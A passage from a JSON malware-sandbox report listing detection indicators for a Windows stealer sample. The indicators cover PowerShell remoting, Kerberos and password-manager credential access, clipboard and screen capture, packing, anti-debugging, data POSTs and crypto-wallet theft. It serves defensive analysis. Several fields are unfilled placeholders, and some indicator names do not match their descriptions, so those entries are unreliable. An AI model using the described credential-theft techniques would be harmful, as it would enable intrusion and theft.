\"00000000-00007864.00000000.144909.49040000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00007864.00000000.144909.49040000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$70","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$71","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"file/memory contains long string with (Indicator: \"1password\"; File: \"Login Data\")","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"00000000-00006104-00000C2B-1245340789\")\n Found string \"GetClipboardData\" (Source: \"00000000-00006104.00000000.144042.00180000.00000004.mdmp, 00000000-00006104.00000000.144042.40000000.00000040.mdmp, 00000000-00006104.00000001.145963.00100000.00000004.mdmp, 00000000-00006104.00000001.145963.40000000.00000040.mdmp\")\n Found string \"GetClipboardDataGetDC\" (Source: \"00000000-00006104.00000001.145963.00100000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$72","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"$73","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \" tE!\"\n \"uBBJs.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7864)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin\" has section name .rdata with entropy \"7.074430382290421\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/27 Antivirus vendors marked sample as malicious (40% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$85","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\" \"tag=8355c966088f2cf8bb30c4547daf2295&hwid=eb39f081b83b887376b905e9e22c4813\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6a16d056175dd6cb62042963"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"